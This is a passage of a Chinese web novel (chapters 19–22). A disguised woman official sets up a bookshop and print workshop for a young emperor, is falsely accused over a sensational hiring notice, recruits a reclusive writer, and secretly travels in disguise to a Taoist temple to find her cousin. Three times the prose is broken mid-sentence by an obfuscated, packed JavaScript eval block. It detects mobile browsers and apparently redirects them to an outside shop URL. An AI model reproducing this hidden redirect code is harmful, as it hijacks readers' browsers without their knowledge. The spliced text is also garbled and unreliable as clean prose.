“书铺能为学子提供差事,不无道理,只是经营一家书铺,一个账房和掌柜足矣,伙计并不拘泥于读书人,但爱卿所言似乎并非如此?” “陛下敏锐,书铺所营无非是科举相关的书和话本,市面上书铺的书和话本来源刻坊,通常是分开经营,产销一体就是书铺和刻坊同时经营,这样可以把刊刻的主动权掌握在自己手里。刻坊所需多为工匠,暂且不提,再往前追溯,就是书和话本最初的来源,编书人和写话本的人。书铺可以成立专门的编辑部,招读书人进来专门编书、写话本,还可以设置编辑,用来收集审核民间故事,科举用的参考书也可以根据考试进度随时更新。” 李明章眉头逐渐舒展,仔细想来好像确实于读书人有利,而且经营书铺听起来铜臭气没那么重,只是手上这套书涵盖了所有科考层次,在他看来已经十分完美:“还能怎么更新?” “回太傅,现在这套参考书大多只是理论知识,想要通过科举,除了要牢记理论知识,还需要多做题。题又分为巩固基础知识点的题和与考卷相似的模拟题以及以往考过的真题,不同类型的题适合不同的备考阶段,每进行过一次考试参考书就需要更新一次。” 谢怀川目光不由自主黏在江幼宜身上,她此刻侃侃而谈的一举一动都让他想到当初在茶楼前初遇她的时候,明媚耀眼,如宝石般光彩夺人。 “陛下?”江幼宜已经说完,看谢怀川久不回神,忍不住开口。 谢怀川回神,下意识避开江幼宜的眼睛,修长的手指抵在下巴上干咳一声,掏出随身携带的银票递给她:“那这件事就交给爱卿来办,这些钱可够?” 江幼宜听闻一喜:“臣领命。”这样她就可以找机会溜出去,到玉清观找表哥了。 随后接过银票数数,有一万两,果然皇上就是皇上,就算囊中羞涩也能随手掏出一万两,她点头:“前期投入这些钱足够了。” “前期?”他可没带太多钱出来,这要是下次江幼宜要钱他拿不出,可就有点丢人了。 江幼宜郑重道:“没错,陛下,扩大生产规模必然还需要更多的资金投入。”她看着谢怀川的表情眨了眨眼,该不会这一万两就是他全部的家底了吧? 她适时改口:“到时候我们可以用盈利分红吸纳商户出资。”可怜的皇帝陛下,那就只能融资了。 “唔,那到时候再说。你现在先看着办,我只有一点要求,就是这套书务必要尽快推行出去。”谢怀川表面不动声色,内心已经在筹划让暗卫送信回去变卖私库里的珠宝字画了。 “臣明白,陛下心系天下学子,实乃万民之福,臣深感倾佩。请陛下放心,这套书将打造成我们书铺的特色,成为书铺的第一个赢利点。”先拍一拍谢怀川的马屁,到时候她好找借口溜去岳州。 谢怀川听着江幼宜话里的“我们”,满意地点点头。 19. 刻坊 江幼宜得了圣命,李明章也不再反对开书铺,她开始着手改造书院的空屋子。 为了不打扰书院中的读书人,江幼宜在了解书院全貌之后,刻坊选在了书院最后面的位置。书院背后靠山,围墙之外还有一条从山上流下来的小溪,在此处开一道后门,用水进出都方便。 “陛下,你看这些屋子院子常年无人打扫,满是灰尘落叶,请暗卫出来帮帮忙呗。” 谢怀川伸手隔空点了点江幼宜:“你啊,现在是拿着鸡毛当令箭,还敢打上暗卫的主意了。” 江幼宜无辜状,回答:“陛下,钱要花在刀刃上呀。” “影七,听到了吧,出来干活吧。” 刷刷刷,院子里突然冒出来五个黑衣人,江幼宜将人一一打量一番,各个腰细腿长,剑眉星目,黑布蒙着下半张脸,啊,自带口罩。 很好,正适合干这些尘土飞扬的活儿。 “那就劳烦几位将这里打扫干净了。”江幼宜转头朝谢怀川开口,“陛下,此处就交由陛下看着了,我去城里打探下刻坊的工匠。” 最近谢怀川总是跟她形影不离的,她都找不到机会独自去岳州,虽然岳州与兖州相邻,但坐车来回也得三天,如果她会骑马就好了,能快很多。 眼看开办书铺要在此处多停留一些时日,她时不时借口书铺的事外出,一点点让谢怀川习惯她的消失,总能找到机会跑去岳州。 谢怀川嘴角一抿,情绪骤然低落:这个女人,打了暗卫的主意就算了,居然还指挥起他来了,真是越来越胆大妄为了。 是他一时忘了,这个女人一直都是胆大妄为的,不然也不能冒着杀头的风险混入朝堂。 影七朝其余四人使了个眼色:“额,打扫院子需要工具,我们先去找工具吧。” 影四:“对对对,我去找水盆打水。” 影五:“我记得工具都放在前院。” 影六:“走走走,去前院。” 一眨眼,影三早就往前院去了,只留给弟弟们一个潇洒的背影。 “让影一跟你一起去。” 影一就是一路给他们当车夫的侍卫,因为影一在这些暗卫里性格沉稳,武功高强,年纪最大,样貌低调,荣获此任。 “不必了陛下,这么多人干活,陛下总要留人贴身保护,这里民风淳朴,城里也不远,臣去去就回,不会有危险的。”开什么玩笑,影一跟着她,她还怎么找机会开溜? “朕侍卫多得是。”这个傻女人不会以为暗卫一共就这六个吧? “陛下的安危关系江山的稳定,侍卫自然是越多越好,天色不早了,臣要赶快进城了,告辞。”江幼宜一溜烟走掉了,坚决不能让谢怀川把侍卫安排给她! “你!”谢怀川看着江幼宜匆匆离去的背影,真是岂有此理!居然胆敢忤逆他!“影十,你去暗中保护她。” 屋檐上轻巧跳下来一个黑衣年轻人:“是。”随后朝江幼宜离开的方向赶去,三两下消失在谢怀川面前。 如果江幼宜在这里,一定会发现这个人十分眼熟。 另一边江幼宜出了出院,也确实如她所言,到城中打探刻坊工匠的消息,她可没指望着今天就能溜走,必须得找个合理的借口离开,不然突然消失谢怀川只会派人到处找她。 表哥要见,书铺也得开。 江幼宜寻到城内最大的一间刻坊,给了刻坊老板三两银子才被允许进去参观,如此参观了几家,只剩最不起眼的一家。 老板是个年迈的老汉,听闻江幼宜想进去参观,热情邀请:“这位公子随便看。” 这家刻坊就在自己家住的小院儿里,是彻头彻尾的家庭作坊。 一个中年男人提着一包药进来,看到院子里站着一位气质不凡的陌生人,问道:“爹,这是买家吗?” “买家?老伯,这个刻坊你要卖?”那她来的可巧。 老汉和中年男人都是一脸疑惑:“公子不是来看房子的?” 这下连江幼宜也糊涂了:“你们不是要卖刻坊?” 中年男人忙解释:“公子许是误会了,我们家只卖房子,不卖刻坊。我娘卧病在床,我们家打算搬回乡下老家,把这房子卖了给我娘看病。” 老汉指着摆放整齐的工具:“是啊,公子,这些吃饭的家伙都是祖辈传下来的,可不能卖啊。” 原来是这样,江幼宜垂眸深思。 “两位,实不相瞒,我家公子已经跟稷下书院的院长商量好,借稷下书院的闲置书舍开一家刻印销售一体的书铺,目前正在筹集刻坊,不知二位是否有意愿到刻坊上工?”不卖?那就人才引进好了。 “稷下书院?我儿正是在那里读书。”中年男人一阵激动,随后又沉默起来。 江幼宜看一眼中年男人手里提着的药:“二位可是在担忧药钱?” “唉,正是。” 目前手头上的钱不多,也不知这人的娘得的什么病,她不可能直接承诺帮对方的娘出药钱,也不能随意提前预支工钱。 “我十分看重二位的手艺,这样,我回去帮忙向我家公子申请,您跟家人可以直接住在书院里,如此可好?” 父子二人对视一眼,如此甚好!他们先前打算搬回老家,可是老家在乡下,哪有什么书铺会找他们刻印,按照这位公子的说法,他们这房子卖了还有住处,还有挣钱的差事,更能就近看到孙子/儿子,怎么不好。 “多谢公子。” “那我也把话说在前头,除了两位,我还会招别的工匠,两位的工钱肯定会比别的工匠少些,这你们能接受吗?” “接受接受。”这有什么不能接受的,本就是理所应当的。 江幼宜满意地点点头:“当然了,表现出色的匠人肯定还有机会可以涨工钱,两位明日便可到稷下书院寻我,当然,若家中有事处理,等处理完再去寻我也可。” “家中有父亲,我李有良明日定去寻公子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614404|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>有了这两个人,起码刻坊已经颇具雏形了,就算一时半会儿招不到别的匠人,也可以招些学徒,让两人带着。 除了工匠,今天江幼宜走访几家刻坊也发现了一些问题,比如刻坊大部分用的都是木活字,甚至像老伯家还有泥活字,这也是今日他们家刻坊不卖,江幼宜没有强求的原因。还有就是现在市面上的书、话本都是单色的。 相比泥活字和木活字,金属活字造价虽然高昂,但优点也很明显,首先更加耐用,而且印刷也更清晰。不过目前谢怀川还没有掌权,金属活字先放到一边,多色套印技术倒是可以提到日程上来。 江幼宜连夜改那套参考书,第二天也没有出门,她决定把这套参考书做成三色的,原文黑色,注释青色,重点红色。 有大儒背书,再加上是市面上第一套彩色参考书,她相信这间书铺一定能一炮而红! 李有良午时过后来到书院,江幼宜带李有良到书院后面打扫好的地方,先指给他一间小院子,这间小院子就是李有良和他家人之后住的地方,又带着他到准备做刻坊的屋子。 “现在这里还什么都没有,你家是开刻坊的,需要什么工具材料你比较清楚,今天你就带影一出去采买,先把东西备好。” “好,若公子不嫌弃,我家那套工具可以直接带到刻坊来用。” “你的好意我替公子心领了,不过那是你祖上传下来的,有纪念意义,还是自己留着。放心,只要你们认真干活,我家公子不会亏待任何一个人。” “是,我和家父定当尽心尽力,不负公子信任。” 江幼宜把银票递给影一:“影一,你随他一同前去采买。” 安排好采买的事,江幼宜想了想,去了李明章院子里。 江幼宜进门见礼:“太傅。” 李明章正在看改后的参考书,时间太短,江幼宜只改好童生级的。 “来,坐,梓桐,看茶。” “太傅,在下前来有一事相商,能工巧匠难求,现在只有两位刊印师傅,刻坊想要运作起来还需要学徒数名,特来请求太傅帮忙在学子中宣传一番,家中若有合适的人,无论男女都可以前来,这也算肥水不流外人田。” “刻坊多为男子,招女子前来是否不合适?” “太傅,这刊刻技艺最讲究精巧,女子最是手巧,再合适不过,且我们刻坊还要改良上色技艺,女子对色彩差异也很是敏锐,我们刻坊需要女子。” “这……好吧,我可以去说,但来与不来我做不了主。” “多谢太傅,若是担心男女大防,我们做工时可以把工人分开。” “傅舍人心细如发,思虑周全。” “太傅过奖。” 刻坊的事初步安排妥当,接下来就该考虑编辑部的事了,这编辑部也并非是个读书识字的人就收,收人的条件江幼宜思考许久,写了一则招聘告示,誊抄数张,张贴在了书院门口和城中大大小小的巷口。 20. 构陷 要说这兖州城每天人流量最大的地方当属中央大街,既有达官贵人呼朋唤友到知味楼吃喝玩乐,又有市井小民在街道两侧摆摊吆喝,就连行走江湖的杂耍艺人也时不时在此地表演,聚集了三教九流。 以往人流如织的街上此刻陷入了停滞,达官贵人无心吃饭,市井小民无心摆摊,就连杂耍艺人都无心表演,所有人围成一个又一个的圈,叽叽咕咕讨论着什么,有后来的人经过看到凑上去,再不出来,人越围越多。 巡逻的卫兵路过,看到这不同寻常的一幕,立马派人到衙门报告上级,小队长带着剩下的卫兵,手持兵器,小心谨慎地靠近人群。 只听人群讨论的是“夺回一切”、“复仇计划”,这还了得? 小队长持刀大喝一声:“听着,你们已经被官兵包围了,速速放下手中武器束手就擒!” 百姓对官兵天然的畏惧让所有人停止讨论,缓缓让开一条道,将人群最中间的人暴露出来,这几个人无一例外都拿着一张纸。 小队长心中一喜,肯定是邪教中人在传播教义,他要立功了! 他使了个眼色,手下卫兵上前将拿纸的人缉拿住,自己伸手夺过一人手中的纸,这是重要罪证,一定要赶在邪教人销毁之前保留下来! 入目先是纸上端正俊秀的字迹,只见纸上写着: 我本是江南富商之子,家境优渥,衣食无忧,却被奸人所害,家人惨死,家产被侵吞,我被仆人从狗洞送出,背井离乡来到此地,卧薪尝胆,只为重新夺回我的一切!现在只差一个头脑灵活,识文断字的你,我就能东山再起!有意请到稷下书院寻傅某人,聆听我的复仇计划! 卫兵见小队长看过纸上内容后表情似笑非笑,将手中人押地更结实,警告道:“都给我老实点!” 被押几人这才从恍惚中醒过神来,纷纷告饶:“官爷,冤枉啊!” 小队长拿着纸:“聚众传播邪教,人赃并获,还敢说谎!” 几人继续辩白:“官爷,我们真的冤枉啊,草民只是在路边树上看到那张纸,好奇上面的内容罢了,绝对没有在传播邪教啊!” 小队长:“你们真不认识这纸上的傅某?” 几人把头摇得像拨浪鼓:“官爷,我们真的不认识他,绝无半句虚言。” 小队长嘴唇一勾,吩咐卫兵:“先把这几个邪教嫌疑分子押到牢里好生看管,剩下的人跟我去稷下书院!” “傅先生,外面有一群官兵来抓你了!”跛脚门房一瘸一拐着急到江幼宜院子里通风报信,但他怎么赶得上官兵的速度,小队长带着手下卫兵以及从衙门赶来支援的人紧随门房之后到了江幼宜院子里。 小队长拿出那张纸,展示给江幼宜看:“这张纸上的内容是不是你写的?” 江幼宜一看,正是自己写的招聘告示,虽然疑惑这群人怎么如此兴师动众,但也诚恳点头应是。 小队长大手一挥:“带走!” “为何?” 小队长轻蔑一笑:“你传播邪教,人赃并获。” 江幼宜大为震惊:“我只是为了招揽几个读书人替书铺写话本罢了,传播邪教从何谈起?” “妖言惑众还敢狡辩?是与不是,公堂之上自有分辨。” “欲加之罪,何患无辞?” 小队长不再开口,只挥手让把人押走,卫兵上来一把按住江幼宜就要把她押走。 江幼宜心里暗道晦气,为了招人写个标题党文案,这就现世报了!怎么办?如果她此时暴露身份,亦会暴露谢怀川的行踪,青州的事她们还没开始查,谢怀川的行踪泄露了,很容易引起对方的警觉。 但是如果真被带走了,传播邪教的帽子扣下来,自己还有活路吗? “我看谁敢带走他!”一道铿锵威严的声音在卫兵身后响起。 众卫兵纷纷转身,只见李明章拄着拐杖出现在小院门口,身侧还站着一位冷峻挺拔的年轻公子。 “李太傅。” 李明章继续道:“这人是我招揽来的,家世清白,邪教之说实乃无稽之谈!” 小队长讷讷道:“纸上内容确有妖言惑众之嫌……” 李明章一甩衣袖:“哼,不过一个普通的话本套路,若你这里讲不通,我自去找郑知州理论一番。” 小队长面色一僵:“是小人眼拙了,请太傅恕罪,还不快点放人!” 李明章继续凝视着小队长:“还有街上被你们抓走的那几位百姓。” 小队长抹了一把额头上的汗:“是是是,小人回去就立马把人放了。” 谢怀川走上前,把江幼宜拉到身后,撂下意味不明的一句:“如此看来郑知州可是御下无方。”随后拉着江幼宜走出院子。 李明章扫了小队长一眼,拂袖离去。 “队长,那个年轻人是何人?说话如此大口气。” 小队长握紧了拳头:“怕是家中势力不下知州。”难道朝廷要派巡抚来,此人是巡抚的儿子?没听到风声啊。 因着谢怀川十分年轻,他没往谢怀川本身的官职上想。 “队长,若是知州因今日之事被问责?” “怕什么?李太傅如今只有个名头,也就靠着个座师之谊在知州那里说得上话,想要问责知州,他还不够格。”小队长努力压下心中异样的念头,如果朝廷真派巡抚来,不可能一点消息都没有,这人说不定是在虚张声势。 “回去都把嘴给我闭紧点。” 卫兵面上称是,心里直犯嘀咕,万一真惹到了不该惹的人,小队长有家里保着,他们可没有。 谢怀川把江幼宜拉到了李明章院子里,怒道:“真是岂有此理,他们平日就是如此为民办事的吗?” “对不起,我不该那样写招人告示。”江幼宜道歉,如果她不搞抽象,就不会引来这些卫兵,也不会牵连那几个无辜百姓。 “不关你的事,充其量就是个吸引人的话本故事,错的是哪些无中生有的人。”如果江幼宜真被强行扣上罪名带走,他也不介意暴露身份,将这兖州城的大小官员一撸到底! 谢怀川吩咐影一:“你去看看他们有没有将人放出来,另外给京中传信,运作一番,派两个巡抚来,朕看这上上下下的官员,是真不将朕放在眼里了。” “是。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614405|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明章捋了一把胡子:“若要寻话本先生,老夫这里倒有一个人选,‘西山先生’,只不过他人隐居在磁山,轻易不肯出山。”毕竟书铺是开在他的书院里,陛下和傅小友迟早要走,最终受益的还是书院,说到底傅小友此番也是为了书院。 “居然是‘西山先生’吗?没关系,我去请,不管花费多大的代价我都一定将人请来!”这个话本先生十几年前就非常出名,只不过近些年很少写了。眼下她写的招聘告示跟邪教挂上钩,恐怕不会再有人前来应征,“西山先生”在话本届十分出名,说不定借着他的名头,编辑部招人写话本的事就能顺利解决了。 而且磁山,正在兖州和岳州边界上,这是一个大好机会! “事不宜迟,我今日就出发,请不到这‘西山先生’,我誓不罢休!”当然,她这么说只是为了争取更多的时间,好去岳州一趟,“西山先生”实在不愿意出山,她肯定不会强求。 “让影一跟你同去。” 江幼宜连忙摆手:“不用不用,我找个对路线熟悉的车夫就好,影一就留在陛下身边,方便帮陛下跑腿。” 谢怀川思考片刻,影一确实在他身边会更方便,但也不能让江幼宜一个人去那么远的地方,他实在放心不下:“那你带影三去。”影三人狠话不多,很合适。 “真不用,真不用,不会有什么事的,我现在就去城里找个车夫,臣离开的日子,陛下千万保重龙体。” 又溜走了,谢怀川看着江幼宜再次拒绝他安排的暗卫,匆匆离开的背影,若有所思。 江幼宜一溜烟走到书院大门外,悄悄往后看了一眼,很好,没人跟上来! 她到城内车行租了一辆马车,直奔磁山去,“西山先生”轻易不出山,想必十分难请,她先去“西山先生”那边刷刷好感度,再去玉清观找表哥,把表哥安排好再继续去请“西山先生”,两不耽误,也不会露馅。 江幼宜坐着马车一路到了磁山脚下,打听到了“西山先生”的具体住处,在磁山半山腰。 沿着山间蜿蜒的小路上去,只见前面有一片郁郁葱葱的竹林,林中有一竹屋,围着半人高的竹栅栏,环境清幽静谧,倒是很符合隐士高人的住所。 江幼宜站在栅栏外朝里张望:“请问是‘西山先生’家吗?” 屋内久久无人回应,江幼宜又提高音量喊了一遍,有一道声音突然从身后响起:“寻我何事?” 江幼宜吓了一跳,连忙转身,只见身后站着一个不修边幅的高大男人,潦草的头发和胡子遮着脸,手里提着一只兔子。 江幼宜看着眼前长得比较野蛮的男人,问道:“您就是‘西山先生’?” 男人微微颔首:“正是。” 江幼宜安慰自己,长得潦草没关系,不能以貌取人,再说到了她的地盘,她有的是办法将他变成正常人:“‘西山先生’,我此次来寻您,是想请您出山担任我们‘稷下书铺’的签约话本先生,您的薪酬我们将按照基础加提成给付,具体金额我们可以再商量,您意下如何?” 只见男人双眼晶亮,露出一口大白牙:“真的?还有这种好事?” 啊? 21. 失踪 江幼宜强颜欢笑:“先生能答应,我真是太高兴了,听说先生轻易不会出山,我还以为请不到先生呢。” “害,那都是年少轻狂时候的事了,你看看我现在过得,穷困潦倒的,能有人找我写话本子,我再开心不过了,公子来得正好,我刚捉了一条鱼,公子进来尝尝我的手艺。” 江幼宜面无表情地啃着烤鱼,心里思索该找什么借口跟“西山先生”说晚两天来接他。 啊,果然撒一个谎言就要用无数个谎来圆,自从她来到这个世界,她已经数不清自己到底说了多少个谎言了,可是做新闻最重要的一点就是要真实,她好像离真实的自己越来越遥远了,远到现代的经历如同大梦一场。 “公子何故叹气?” “想到一个逝去的故人,她的忌日将近,我想去玉清观替她祈福,不知先生可否在此等我几日,待我祈福归来,便接先生下山。” 男人大口啃着烤鱼,胡子上还沾着鱼肉碎屑:“当然可以,正好我也整理一下。” 江幼宜下山,租来的马车还等在山脚,她本以为第一回合交谈几句就能结束,没想到多耽搁了一会儿。 此处距离县城遥远,江幼宜让车夫赶着马车到了最近的镇上,“西山先生”现在这幅尊容实在是有点……,正好也给他置办一些行头。 到了镇上,江幼宜先去杂货铺买了修胡子用的剃刀,又去胭脂铺买了清洗用的胰子,最后去了最大的成衣铺,马车停在店外,江幼宜给“西山先生”买了几套成衣,拿出去放到马车上,跟车夫交代几句后重新回到成衣铺,车夫则到旁边的摊子上点了一碗面吃起来。 影十蹲在附近的屋顶上,一边啃着随身携带的干粮,视线一边在成衣铺和面摊之间流转:“皇后可真善良,不仅给‘西山先生’买衣服和生活用品,还知道体贴下人,给车夫钱吃午饭。” 等车夫吃完饭,影十发现了不对劲的地方,这个车夫怎么不等皇后就走?难道想卷了马车上的东西跑路?这可不行! 影十一个跳跃稳当当落在马车前面:“站住,你要去哪?” 车夫看着眼前从天而降的蒙面黑衣人,再看看光天化日人来人往的街道:“好汉饶命,我上有八十岁老母,下有刚满月的孩子,身上也没有几个子,好汉放我走吧。” 影十把刀抽出来,直指车夫面门:“哼,这些都不是你能卷走雇主财物的理由!” 车夫一愣:“卷走雇主财物从何谈起?” “刚刚那位公子还没上车,你怎么就要驱车离开?” “正是那位公子交代我不用等他,直接把东西送去山上的。” 这下轮到影十愣了,糟了…… 远处一队官兵正在持刀赶来,他们接到群众举报,说有劫匪胆大妄为,居然青天白日站在街上打劫,这是对他们赤裸裸的挑衅! 影十回头看一眼官兵,收刀三两下冲进成衣店里,店内顾客吓得蹲在角落瑟瑟发抖,此处没有皇后的身影,完了,他把皇后跟丢了…… 官兵的声音越来越近,影十出了成衣铺,跳上房顶,转眼消失在官兵眼里。 成衣铺一个刚刚还瑟瑟发抖双臂缩在胸前的女子转眼变成双拳抵在腮边,小声道:“好帅啊……” 旁边老妪装扮的江幼宜侧头看了女子一眼,表情一言难尽,这可是劫匪,如果不是身后有官兵追捕,刚刚还不知道会发生什么。不过,这人似乎有些眼熟? 再说回江幼宜这身装扮,把脸涂黑的粉是在胭脂铺顺手买的,身上的衣服是买的刚刚进店的老妇人身上的。表哥与她长相相似,她若想悄无声息地把表哥带出来,肯定不能顶着跟表哥一样的脸大摇大摆进去,所以才如此伪装,车夫那边未避免露馅也把他打发走了。 听着外面恢复如常,江幼宜起身出了店门,表哥,等我! 另一边影十飞身出镇子,找了一片荒无人烟之地发出求救信号,静静等着兄弟来帮他,陛下知道了,会不会罚他啊,唉,肯定会的,毕竟失踪的可是皇后啊,影十不安地皱了皱鼻子,唔,话说皇后什么时候发现他在跟着的啊? 几个时辰后,影十不止等来了兄弟,还等来了谢怀川。 谢怀川一身骑装,在影十身前勒马,发丝不复平日那般一丝不苟:“出了什么事?” 影十噗通一下跪倒在谢怀川马下:“陛下恕罪,属下把皇……额,傅大人跟丢了。” 谢怀川黑着一张脸:“在哪跟丢的?具体什么情况?” “回陛下,傅大人白日进了一家成衣铺,车夫在旁边的摊子上吃面,吃完面没等傅大人出来就离开了,等属下再进到成衣铺的时候傅大人就不见了……” “兵分三路,影十你跟影一去‘西山先生’那儿问问有没有线索,影三你带人在镇外打探,其他人随我进镇子里找。” “是。” 谢怀川一扯缰绳,看向下首的影十,冷酷道:“回去自己领罚,驾!” 其他几人冲影十投去同情的目光,纷纷策马离开。 影一朝影十伸手:“上来。” 影十起身,借着影一的力量翻身上马,讨好道:“嘿嘿,还是大哥你好。” 影一无奈摇头:“别以为说好话我就会帮你,身为暗卫居然能把人跟丢,我看你也该吃吃教训,三个月的茅房,我一日也不会帮你,你也别想着其他兄弟帮你,你该知道这次跟丢的是最不该的人。” 影十在影一身后攥着他的衣角:“我知道错了大哥,我认罚,不会让其他人帮我的。” 谢怀川一行人进镇子里到处打听,打听到白日镇子里闹了劫匪,他心下焦急,又分了几个人去打探劫匪的行踪。 影七欲言又止,看着皇上着急的样子,还是决定打探清楚再来汇报,他一面让人去找影十询问,一面在镇子里找白日见过劫匪模样的人问话,两相对照下,终于确认,百姓口中的劫匪就是影十本人…… 谢怀川听闻一阵沉默,是他草率了,明明知道江幼宜可能有事瞒着他,就不该只让影十一个人跟着她的。 劫匪的事是个乌龙,谢怀川稍微放心一点,终于能静下心来思考江幼宜一路以来的异常。 主动申请出京姑且认为她是为了暂避锋芒,快出临北府时情绪紧绷,进了临东府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614406|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后脸色越来越差,到了稷下书院之后才好一些,但总是借口一个人出门,出门寻“西山先生”时异常积极,且总不让自己派人保护她。 如果江幼宜意不在“西山先生”,那么……谢怀川往更东的方向看去。 “陛下,‘西山先生’说他已经答应了傅大人,只不过傅大人说故友忌日将近,”影十声音越来越小,“想先去玉清观祈福一番再回来接他……” 大皇子比谢怀川大八岁,谢怀川十岁的时候,大皇子早已参政,在朝臣和百姓当中都颇有美名,连几位皇子都对大皇子恭敬有加,谢怀川也是。大皇子谦逊温厚,节俭自持,先皇交代的政务处理也都处理的井井有条,在当时首辅李明章的牵头下,立太子本是板上钉钉的事。 大多数人只知道大皇子不知何故突然失了圣心被禁足,首辅李明章致仕,实则是因为谢怀川大病一场,大皇子牵涉进了巫蛊案,因为涉及巫蛊又干系皇储,先皇下了禁令,所以此事只有极少数人知道。 再后来谢怀川被立为太子,其他几位成年皇子都被封王离开京城去了封底,只有大皇子没有任何封赏,一直被禁足,这个人在先皇眼中好像直接销声匿迹了,再后来就是先皇因病驾崩,谢怀川登基,大皇子主动请辞,去道观替先皇祈福清修。 从大皇子被牵涉进巫蛊案至今已经十年,这些年顾首辅和太后把持朝政,谢怀川经常出京,也曾到过玉清观,只是每次大皇子都避而不见。 暗卫机构只服务皇帝,当年巫蛊案发生的时候他们还小,不知其中内情,所以对于谢怀川和大皇子之间的关系如何也只是猜测。 良久,谢怀川下令:“去玉清观。” 江幼宜伪装成老妪,重新租了一辆马车,傍晚进入岳州地界,先找到一家客栈歇息,她把随身携带的话本稿子拿出来润色,这一本已经在收尾了,既然大皇子知道她的真实身份,难保不会知道她的笔名,这里是大皇子的地界,现在卖给书铺恐怕会暴露她的踪迹。 提笔写下“全文完”三个字,江幼宜把稿子放在一边等待墨迹晾干,等把表哥带出来之后再把稿子卖掉,刚好可以给表哥一笔钱,让他找个大皇子轻易无法插手的地方休养。 京城其实是最安全的地方,即使谢怀川的权力遭到世家的掣肘,但总归是谢怀川的地盘,大皇子就算安插眼线也不敢明目张胆,但坏就坏在自己跟表哥长得太像了,非常容易暴露两人身份。 江南烟雨如画,似水缠绵,鱼米丰饶,最是富庶,也是个好去处,只是江南乃端王封地,端王是先皇四子,与大皇子关系十分要好,用现代话来说,端王是个“哥控”,因此与大皇子形成皇位竞争关系的谢怀川就成了端王的眼中钉,端王与谢怀川的关系是人尽皆知的差,把表哥送去江南无异于出得龙潭,又入虎穴。 不得不说,大皇子真的尽到了大哥的责任,人缘在普遍手足相残的皇家竟也十分不错,江幼宜能想到的地方都在与大皇子交好的藩王统治下,思来想去,似乎只有北境没有藩王统辖。 但是北境寒冷清苦,并不利于表哥休养,江幼宜躺在床上,盯着床帐,好难啊…… 22. 进观 因为心里装着事儿,江幼宜睡得晚醒得早,洗漱之后伪装好继续出发,直到傍晚才抵达玉清观山脚下。 这座山叫岳山,岳州因岳山得名。 岳山比起其他的名山实在算不得高,但临东府大多是平原,这座山在整个临东府海拔最高,登上山顶也能做到一览众山小。岳山台阶很多,玉清观就建在山顶上,据说是因为这座山顶是离天庭的南天门最近的地方,有所求者都要通过漫长阶梯的考验,讲究心诚则灵。 天色已晚,江幼宜看着一眼望不到头的台阶,只得在山脚下先住一晚,等天亮再起来爬山。 她看着一时半会儿仍然爬不完的台阶,拄着拐杖停下休息,喘息声宛如一个真正的老妪,此处已是半山腰,回头望去,山下风景一览无余,这里的确风景宜人,空气清新,如果不需要在山顶山脚频繁往返,确实是个休养生息的好地方。 此刻有个比表哥去处更加紧急的问题,如果表哥身体还没完全好,她该怎么把表哥带下山呢? 正在此时,旁边一顶八抬小轿路过,八个力士走得不快,轿子抬得稳稳当当,即使在上台阶,轿子也没有产生任何倾斜,简直如履平地。江幼宜大为震撼,这,就是有钱人吗? 她一路跟在他们身后,竟也一口气登上山顶。小轿停在玉清观门口,轿子里走出来一个身穿锦衣常服的中年男人,抬轿的力士称呼他为“大人”。 江幼宜藏身到一旁的树后,怪不得派头这么大,原来是个官员,这官员上来只怕不是为了祈福,而是来找大皇子的吧,看来大皇子果然意图不轨。 不说别的藩王,只说有端王一个,大皇子的筹码就不少,如果谢怀川真就是明面上那副做派,恐怕大皇子不需要招兵买马,只策反几个朝中大臣就能把谢怀川拉下来。 世家、藩王、皇权,谢怀川腹背受敌,一着不慎就是满盘皆输。 江幼宜敛下眸子,把包在头上的布巾拉高一些,遮住下半张脸,佝偻着身子跟随人流进了最中央的神殿,三清神像皆为彩绘,高大巍峨,庄重威严,殿中氛围也十分肃穆,她只看了一眼就不敢再直视,恐亵渎神明。 她请香跪在蒲团上默默替她新闻稿中那个女孩子祈福,她对“西山先生”所言并非谎话,今日确实是那个女孩子忌日,虽然已经跨越了时间和空间,不知道她的祈福有没有效果,她还是真诚地希望她下一世能一生顺遂,幸福安乐,所遇皆是淑人。 另外也希望原身一家三口来世投胎到……江幼宜想说投胎到和平年代,可是就现在的大宁来说,内战外战皆无,已经算得上非常和平了,却无辜遭受屠村之灾……总之,祝愿一生无忧。 还有小草,她还好吗? 起身在功德箱捐十两香火钱,再次冲着三清神像拜一拜。 转身跨出神殿门槛,江幼宜四处张望,前院都是神殿,表哥一定在道观后院的客堂。 这会儿香客正多,道士都在接待香客,她趁人不注意,从神殿侧面往道观后院去,一道月亮门隔绝了前院的喧嚣,此处人烟稀少,十分方便江幼宜寻人,但这个道观规模很大,后院的建筑模样十分相仿,想在这迷宫似的道观里悄无声息地找人何其困难。 